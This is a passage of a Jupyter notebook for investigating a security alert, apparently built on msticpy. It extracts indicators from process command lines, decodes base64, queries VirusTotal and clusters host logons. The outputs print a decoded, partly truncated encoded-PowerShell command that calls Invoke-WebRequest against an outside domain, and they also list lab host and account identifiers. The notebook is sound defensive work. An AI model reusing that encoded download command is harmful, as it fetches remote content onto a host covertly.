       "      <td>wh401k.org</td>\n",
       "      <td>4</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "  IoCType                Observable SourceIndex\n",
       "0     url  http://wh401k.org/getps\"           4\n",
       "1     dns                wh401k.org           4"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "ioc_extractor = sectools.IoCExtract()\n",
    "\n",
    "try:\n",
    "    if not process_tree.empty:\n",
    "        source_processes = process_tree\n",
    "    else:\n",
    "        source_processes = clus_events\n",
    "except NameError:\n",
    "    source_processes = None\n",
    "if source_processes is not None: \n",
    "\n",
    "    ioc_df = ioc_extractor.extract(data=source_processes, \n",
    "                                   columns=['CommandLine'], \n",
    "                                   os_family=security_alert.os_family,\n",
    "                                   ioc_types=['ipv4', 'ipv6', 'dns', 'url',\n",
    "                                              'md5_hash', 'sha1_hash', 'sha256_hash'])\n",
    "    if len(ioc_df):\n",
    "        display(HTML(\"<h3>IoC patterns found in process tree.</h3>\"))\n",
    "        display(ioc_df)\n",
    "else:\n",
    "    ioc_df = None"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### If any Base64 encoded strings, decode and search for IoCs in the results.\n",
    "For simple strings the Base64 decoded output is straightforward. However for nested encodings this can get a little complex and difficult to represent in a tabular format.\n",
    "\n",
    "**Columns**\n",
    " - reference - The index of the row item in dotted notation in depth.seq pairs (e.g. 1.2.2.3 would be the 3 item at depth 3 that is a child of the 2nd item found at depth 1). This may not always be an accurate notation - it is mainly use to allow you to associate an individual row with the reference value contained in the full_decoded_string column of the topmost item).\n",
    " - original_string - the original string before decoding.\n",
    " - file_name - filename, if any (only if this is an item in zip or tar file).\n",
    " - file_type - a guess at the file type (this is currently elementary and only includes a few file types).\n",
    " - input_bytes - the decoded bytes as a Python bytes string.\n",
    " - decoded_string - the decoded string if it can be decoded as a UTF-8 or UTF-16 string. Note: binary sequences may often successfully decode as UTF-16 strings but, in these cases, the decodings are meaningless.\n",
    " - encoding_type - encoding type (UTF-8 or UTF-16) if a decoding was possible, otherwise 'binary'.\n",
    " - file_hashes - collection of file hashes for any decoded item.\n",
    " - md5 - md5 hash as a separate column.\n",
    " - sha1 - sha1 hash as a separate column.\n",
    " - sha256 - sha256 hash as a separate column.\n",
    " - printable_bytes - printable version of input_bytes as a string of \\xNN values\n",
    " - src_index - the index of the row in the input dataframe from which the data came.\n",
    " - full_decoded_string - the full decoded string with any decoded replacements. This is only really useful for top-level items, since nested items will only show the 'full' string representing the child fragment."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 78,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<h3>Decoded base 64 command lines</h3>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Warning - some binary patterns may be decodable as unicode strings"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>full_decoded_string</th>\n",
       "      <th>original_string</th>\n",
       "      <th>decoded_string</th>\n",
       "      <th>input_bytes</th>\n",
       "      <th>file_hashes</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>.\\powershell  -enc &lt;decoded type='string' name='[None]' index='1' depth='1'&gt;-Noninteractive -Nop...</td>\n",
       "      <td>LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdldC1Qcm9jZXNzOyBJbnZv...</td>\n",
       "      <td>-Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:...</td>\n",
       "      <td>b'-Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri htt...</td>\n",
       "      <td>{'md5': '65716544c3db642171b7597cd3deca2b', 'sha1': '8aa4c81d51732addabcaa5d8f121c79b0923189f', ...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                                                   full_decoded_string  \\\n",
       "0  .\\powershell  -enc <decoded type='string' name='[None]' index='1' depth='1'>-Noninteractive -Nop...   \n",
       "\n",
       "                                                                                       original_string  \\\n",
       "0  LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdldC1Qcm9jZXNzOyBJbnZv...   \n",
       "\n",
       "                                                                                        decoded_string  \\\n",
       "0  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:...   \n",
       "\n",
       "                                                                                           input_bytes  \\\n",
       "0  b'-Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri htt...   \n",
       "\n",
       "                                                                                           file_hashes  \n",
       "0  {'md5': '65716544c3db642171b7597cd3deca2b', 'sha1': '8aa4c81d51732addabcaa5d8f121c79b0923189f', ...  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h3>IoC patterns found in base 64 decoded data</h3>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Observable</th>\n",
       "      <th>SourceIndex</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>url</td>\n",
       "      <td>http://wh401k.org/getps\"&lt;/decoded&gt;</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>dns</td>\n",
       "      <td>wh401k.org</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>windows_path</td>\n",
       "      <td>.\\powershell</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "        IoCType                          Observable SourceIndex\n",
       "0           url  http://wh401k.org/getps\"</decoded>           0\n",
       "1           dns                          wh401k.org           0\n",
       "2  windows_path                        .\\powershell           0"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "if source_processes is not None:\n",
    "    dec_df = sectools.b64.unpack_items(data=source_processes, column='CommandLine')\n",
    "    \n",
    "if source_processes is not None and not dec_df.empty:\n",
    "    display(HTML(\"<h3>Decoded base 64 command lines</h3>\"))\n",
    "    display(HTML(\"Warning - some binary patterns may be decodable as unicode strings\"))\n",
    "    display(dec_df[['full_decoded_string', 'original_string', 'decoded_string', 'input_bytes', 'file_hashes']])\n",
    "\n",
    "    ioc_dec_df = ioc_extractor.extract(data=dec_df, columns=['full_decoded_string'])\n",
    "    if len(ioc_dec_df):\n",
    "        display(HTML(\"<h3>IoC patterns found in base 64 decoded data</h3>\"))\n",
    "        display(ioc_dec_df)\n",
    "        if ioc_df is not None:\n",
    "            ioc_df = ioc_df.append(ioc_dec_df ,ignore_index=True)\n",
    "        else:\n",
    "            ioc_df = ioc_dec_df\n",
    "else:\n",
    "    print(\"No base64 encodings found.\")\n",
    "    ioc_df = None"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "hidden": true
   },
   "source": [
    "<a id='virustotallookup'></a>[Contents](#toc)\n",
    "## Virus Total Lookup\n",
    "This section uses the popular Virus Total service to check any recovered IoCs against VTs database.\n",
    "\n",
    "To use this you need an API key from virus total, which you can obtain here: https://www.virustotal.com/.\n",
    "\n",
    "Note that VT throttles requests for free API keys to 4/minute. If you are unable to process the entire data set, try splitting it and submitting smaller chunks.\n",
    "\n",
    "**Things to note:**\n",
    "- Virus Total lookups include file hashes, domains, IP addresses and URLs.\n",
    "- The returned data is slightly different depending on the input type\n",
    "- The VTLookup class tries to screen input data to prevent pointless lookups. E.g.:\n",
    "  - Only public IP Addresses will be submitted (no loopback, private address space, etc.)\n",
    "  - URLs with only local (unqualified) host parts will not be submitted.\n",
    "  - Domain names that are unqualified will not be submitted.\n",
    "  - Hash-like strings (e.g 'AAAAAAAAAAAAAAAAAA') that do not appear to have enough entropy to be a hash will not be submitted.\n",
    "\n",
    "**Output Columns**\n",
    " - Observable - The IoC observable submitted\n",
    " - IoCType - the IoC type\n",
    " - Status - the status of the submission request\n",
    " - ResponseCode - the VT response code\n",
    " - RawResponse - the entire raw json response\n",
    " - Resource - VT Resource\n",
    " - SourceIndex - The index of the Observable in the source DataFrame. You can use this to rejoin to your original data.\n",
    " - VerboseMsg - VT Verbose Message\n",
    " - ScanId - VT Scan ID if any\n",
    " - Permalink - VT Permanent URL describing the resource\n",
    " - Positives - If this is not zero, it indicates the number of malicious reports that VT holds for this observable.\n",
    " - MD5 - The MD5 hash, if any\n",
    " - SHA1 - The MD5 hash, if any\n",
    " - SHA256 - The MD5 hash, if any\n",
    " - ResolvedDomains - In the case of IP Addresses, this contains a list of all domains that resolve to this IP address\n",
    " - ResolvedIPs - In the case Domains, this contains a list of all IP addresses resolved from the domain.\n",
    " - DetectedUrls - Any malicious URLs associated with the observable."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 79,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "548679f3c8394849aba7fa37c5c90fa7",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HBox(children=(Text(value='', description='Vir…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "vt_key = mas.GetEnvironmentKey(env_var='VT_API_KEY',\n",
    "                           help_str='To obtain an API key sign up here https://www.virustotal.com/',\n",
    "                           prompt='Virus Total API key:')\n",
    "vt_key.display()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 80,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "5 items in input frame\n",
      "Items in each category to be submitted to VirusTotal\n",
      "(Note: items have pre-filtering to remove obvious erroneous data and false positives, such as private IPaddresses)\n",
      "{'ipv4': 0, 'dns': 2, 'url': 2, 'md5_hash': 0, 'sha1_hash': 0, 'sh256_hash': 0}\n",
      "--------------------------------------------------------------------------------\n",
      "Invalid observable format: \"wh401k.org\", type \"dns\", status: Observable does not match expected pattern for dns - skipping. (Source index 4)\n",
      "Invalid observable format: \"wh401k.org\", type \"dns\", status: Observable does not match expected pattern for dns - skipping. (Source index 0)\n",
      "Submitting observables: \"http://wh401k.org/getps\"\", type \"url\" to VT. (Source index 4)\n",
      "Error in response submitting observables: \"http://wh401k.org/getps\"\", type \"url\" http status is 403. Response: None (Source index 4)\n",
      "Submitting observables: \"http://wh401k.org/getps\"</decoded>\", type \"url\" to VT. (Source index 0)\n",
      "Error in response submitting observables: \"http://wh401k.org/getps\"</decoded>\", type \"url\" http status is 403. Response: None (Source index 0)\n",
      "Submission complete. 4 responses from 5 input rows\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<h3>Other results</h3>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Observable</th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Status</th>\n",
       "      <th>ResponseCode</th>\n",
       "      <th>RawResponse</th>\n",
       "      <th>Resource</th>\n",
       "      <th>SourceIndex</th>\n",
       "      <th>VerboseMsg</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ScanId</th>\n",
       "      <th>Permalink</th>\n",
       "      <th>Positives</th>\n",
       "      <th>MD5</th>\n",
       "      <th>SHA1</th>\n",
       "      <th>SHA256</th>\n",
       "      <th>ResolvedDomains</th>\n",
       "      <th>ResolvedIPs</th>\n",
       "      <th>DetectedUrls</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "Empty DataFrame\n",
       "Columns: [Observable, IoCType, Status, ResponseCode, RawResponse, Resource, SourceIndex, VerboseMsg, Resource, ScanId, Permalink, Positives, MD5, SHA1, SHA256, ResolvedDomains, ResolvedIPs, DetectedUrls]\n",
       "Index: []"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "if vt_key.value and ioc_df is not None and not ioc_df.empty:\n",
    "    vt_lookup = sectools.VTLookup(vt_key.value, verbosity=2)\n",
    "\n",
    "    print(f'{len(ioc_df)} items in input frame')\n",
    "    supported_counts = {}\n",
    "    for ioc_type in vt_lookup.supported_ioc_types:\n",
    "        supported_counts[ioc_type] = len(ioc_df[ioc_df['IoCType'] == ioc_type])\n",
    "    print('Items in each category to be submitted to VirusTotal')\n",
    "    print('(Note: items have pre-filtering to remove obvious erroneous '\n",
    "          'data and false positives, such as private IPaddresses)')\n",
    "    print(supported_counts)\n",
    "    print('-' * 80)\n",
    "    vt_results = vt_lookup.lookup_iocs(data=ioc_df, type_col='IoCType', src_col='Observable')\n",
    "    \n",
    "    pos_vt_results = vt_results.query('Positives > 0')\n",
    "    if len(pos_vt_results) > 0:\n",
    "        display(HTML(f'<h3>{len(pos_vt_results)} Positive Results Found</h3>'))\n",
    "        display(pos_vt_results[['Observable', 'IoCType','Permalink', \n",
    "                                'ResolvedDomains', 'ResolvedIPs', \n",
    "                                'DetectedUrls', 'RawResponse']])\n",
    "    display(HTML('<h3>Other results</h3>'))\n",
    "    display(vt_results.query('Status == \"Success\"'))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "To view the raw response for a specific row.\n",
    "```\n",
    "import json\n",
    "row_idx = 0 # The row number from one of the above dataframes\n",
    "raw_response = json.loads(pos_vt_results['RawResponse'].loc[row_idx])\n",
    "raw_response\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='cmdlineonotherhosts'></a>[Contents](#toc)\n",
    "# Alert command line - Occurrence on other hosts in workspace\n",
    "To get a sense of whether the alert process is something that is occuring on other hosts, run this section.\n",
    "\n",
    "This might tell you that the alerted process is actually a commonly-run process and the alert is a false positive. Alternatively, it may tell you that a real infection or attack is happening on other hosts in your environment."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 81,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "0e0ae8fe8f2b417a97e55aeb9417d51d",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HTML(value='<h4>Set query time boundaries</h4>')"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "a5782a69764b4ac6b0f6947080166b7c",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:16',…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "d7ad916d37a24447b6c2fd0e4d7382ec",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# set the origin time to the time of our alert\n",
    "query_times = mas.QueryTime(units='day', before=5, max_before=20,\n",
    "                            after=1, max_after=10,\n",
    "                            origin_time=security_alert.origin_time)\n",
    "query_times.display()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 82,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "['list_alerts_counts',\n",
       " 'list_alerts',\n",
       " 'get_alert',\n",
       " 'list_related_alerts',\n",
       " 'list_related_ip_alerts',\n",
       " 'get_process_tree',\n",
       " 'list_processes',\n",
       " 'get_process_parent',\n",
       " 'list_hosts_matching_commandline',\n",
       " 'list_processes_in_session',\n",
       " 'get_host_logon',\n",
       " 'list_host_logons',\n",
       " 'list_host_logon_failures']"
      ]
     },
     "execution_count": 82,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# API ILLUSTRATION - Find the query to use\n",
    "qry.list_queries()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 83,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Query:  list_hosts_matching_commandline\n",
      "Retrieves processes on other hosts with matching commandline\n",
      "Designed to be executed with data_source:  process_create\n",
      "Supported data families:  DataFamily.WindowsSecurity, DataFamily.LinuxSecurity\n",
      "Supported data environments:  DataEnvironment.LogAnalytics\n",
      "Query parameters:\n",
      "['add_query_items', 'subscription_filter', 'process_name', 'start', 'end', 'host_filter_neq', 'commandline']\n",
      "Optional parameters:\n",
      "add_query_items\n",
      "Query:\n",
      "{table}\n",
      "{query_project}\n",
      "| where {subscription_filter}\n",
      "| where {host_filter_neq}\n",
      "| where TimeGenerated >= datetime({start})\n",
      "| where TimeGenerated <= datetime({end})\n",
      "| where NewProcessName endswith '{process_name}'\n",
      "| where CommandLine =~ '{commandline}'\n",
      "{add_query_items}\n"
     ]
    }
   ],
   "source": [
    "# API ILLUSTRATION - What does the query look like?\n",
    "qry.query_help('list_hosts_matching_commandline')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 87,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "No proceses with matching commandline found in on other hosts in workspace\n",
      "between 2019-02-08 22:04:16 and 2019-02-14 22:04:16\n"
     ]
    }
   ],
   "source": [
    "# This query needs a commandline parameter which isn't supplied\n",
    "# by default from the the alert \n",
    "# - so extract and escape this from the process\n",
    "if not security_alert.primary_process:\n",
    "    raise ValueError('This alert has no process entity. This section is not applicable.')\n",
    "\n",
    "proc_match_in_ws = None\n",
    "commandline = security_alert.primary_process.CommandLine\n",
    "commandline = mas.utility.escape_windows_path(commandline)\n",
    "\n",
    "if commandline.strip():\n",
    "    proc_match_in_ws = qry.list_hosts_matching_commandline(provs=[query_times, security_alert],\n",
    "                                                          commandline=commandline)\n",
    "else:\n",
    "    print('process has empty commandline')\n",
    "# Check the results\n",
    "if proc_match_in_ws is None or proc_match_in_ws.empty:\n",
    "    print('No proceses with matching commandline found in on other hosts in workspace')\n",
    "    print('between', query_times.start, 'and', query_times.end)\n",
    "else:\n",
    "    hosts = proc_match_in_ws['Computer'].drop_duplicates().shape[0]\n",
    "    processes = proc_match_in_ws.shape[0]\n",
    "    print('{numprocesses} proceses with matching commandline found on {numhosts} hosts in workspace'\\\n",
    "         .format(numprocesses=processes, numhosts=hosts))\n",
    "    print('between', query_times.start, 'and', query_times.end)\n",
    "    print('To examine these execute the dataframe \\'{}\\' in a new cell'.format('proc_match_in_ws'))\n",
    "    print(proc_match_in_ws[['TimeCreatedUtc','Computer', 'NewProcessName', 'CommandLine']].head())\n",
    "    "
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='host_logons'></a>[Contents](#toc)\n",
    "# Host Logons\n",
    "This section retrieves the logon events on the host in the alert.\n",
    "\n",
    "You may want to use the query times to search over a broader range than the default."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 88,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "30e798826f654f1482eec6b37657ce3c",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HTML(value='<h4>Set query time boundaries</h4>')"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "61eb6e25b39b4fa49ead4352e90709b2",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:16',…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "46e7c81594d54eeca137832094c02ef8",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(IntRangeSlider(value=(-1, 0), description='Time Range (day):', layout=Layout(width='80%'), max=…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# set the origin time to the time of our alert\n",
    "query_times = mas.QueryTime(units='day', origin_time=security_alert.origin_time,\n",
    "                           before=1, after=0, max_before=20, max_after=1)\n",
    "query_times.display()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "hidden": true
   },
   "source": [
    "<a id='logonaccount'></a>[Contents](#toc)\n",
    "## Alert Logon Account\n",
    "The logon associated with the process in the alert."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 89,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "### Account Logon\n",
      "Account:  MSTICAdmin\n",
      "Account Domain:  MSTICAlertsWin1\n",
      "Logon Time:  2019-02-13 22:03:42.283000\n",
      "Logon type: 4 (Batch)\n",
      "User Id/SID:  S-1-5-21-996632719-2361334927-4038480536-500\n",
      "    SID S-1-5-21-996632719-2361334927-4038480536-500 is administrator\n",
      "    SID S-1-5-21-996632719-2361334927-4038480536-500 is local machine or domain account\n",
      "Session id '0x1e821b5'  \n",
      "Subject (source) account:  WORKGROUP/MSTICAlertsWin1$\n",
      "Logon process:  Advapi  \n",
      "Authentication:  Negotiate\n",
      "Source IpAddress:  -\n",
      "Source Host:  MSTICAlertsWin1\n",
      "Logon status:  \n",
      "\n"
     ]
    }
   ],
   "source": [
    "logon_id = security_alert.get_logon_id()\n",
    "\n",
    "if logon_id:\n",
    "    if logon_id in ['0x3e7', '0X3E7', '-1', -1]:\n",
    "        print('Cannot retrieve single logon event for system logon id '\n",
    "              '- please continue with All Host Logons below.')\n",
    "    else:\n",
    "        logon_event = qry.get_host_logon(provs=[query_times, security_alert])\n",
    "        nbdisp.display_logon_data(logon_event, security_alert)\n",
    "else:\n",
    "    print('No account entity in the source alert or the primary account had no logonId value set.')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### All Host Logons\n",
    "Since the number of logon events may be large and, in the case of system logons, very repetitive, we use clustering to try to identity logons with unique characteristics.\n",
    "\n",
    "In this case we use the numeric score of the account name and the logon type (i.e. interactive, service, etc.). The results of the clustered logons are shown below along with a more detailed, readable printout of the logon event information. The data here will vary depending on whether this is a Windows or Linux host."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 90,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Number of input events: 22\n",
      "Number of clustered events: 3\n",
      "\n",
      "Distinct host logon patterns:\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>Account</th>\n",
       "      <th>EventID</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>SourceComputerId</th>\n",
       "      <th>Computer</th>\n",
       "      <th>SubjectUserName</th>\n",
       "      <th>SubjectDomainName</th>\n",
       "      <th>SubjectUserSid</th>\n",
       "      <th>TargetUserName</th>\n",
       "      <th>TargetDomainName</th>\n",
       "      <th>TargetUserSid</th>\n",
       "      <th>TargetLogonId</th>\n",
       "      <th>LogonProcessName</th>\n",
       "      <th>LogonType</th>\n",
       "      <th>AuthenticationPackageName</th>\n",
       "      <th>Status</th>\n",
       "      <th>IpAddress</th>\n",
       "      <th>WorkstationName</th>\n",
       "      <th>AccountNum</th>\n",
       "      <th>LogonHour</th>\n",
       "      <th>Clustered</th>\n",
       "      <th>ClusterId</th>\n",
       "      <th>ClusterSize</th>\n",
       "      <th>LastEventTime</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>Window Manager\\DWM-2</td>\n",
       "      <td>4624</td>\n",
       "      <td>2019-02-12 22:22:21.240</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>DWM-2</td>\n",
       "      <td>Window Manager</td>\n",
       "      <td>S-1-5-90-0-2</td>\n",
       "      <td>0x106b458</td>\n",
       "      <td>Advapi</td>\n",
       "      <td>2</td>\n",
       "      <td>Negotiate</td>\n",
       "      <td></td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>1782</td>\n",
       "      <td>22</td>\n",
       "      <td>True</td>\n",
       "      <td>2.0</td>\n",
       "      <td>2.0</td>\n",
       "      <td>2019-02-12 22:22:21.240</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>NT AUTHORITY\\SYSTEM</td>\n",
       "      <td>4624</td>\n",
       "      <td>2019-02-13 21:10:58.540</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>SYSTEM</td>\n",
       "      <td>NT AUTHORITY</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>Advapi</td>\n",
       "      <td>5</td>\n",
       "      <td>Negotiate</td>\n",
       "      <td></td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>1484</td>\n",
       "      <td>21</td>\n",
       "      <td>True</td>\n",
       "      <td>1.0</td>\n",
       "      <td>16.0</td>\n",
       "      <td>2019-02-12 22:14:07.417</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4624</td>\n",
       "      <td>2019-02-13 22:03:42.283</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>0x1e821b5</td>\n",
       "      <td>Advapi</td>\n",
       "      <td>4</td>\n",
       "      <td>Negotiate</td>\n",
       "      <td></td>\n",
       "      <td>-</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>2319</td>\n",
       "      <td>22</td>\n",
       "      <td>True</td>\n",
       "      <td>0.0</td>\n",
       "      <td>4.0</td>\n",
       "      <td>2019-02-13 00:55:38.670</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId                     Account EventID  \\\n",
       "6  52b1ab41-869e-4138-9e40-2a4457f09bf0        Window Manager\\DWM-2    4624   \n",
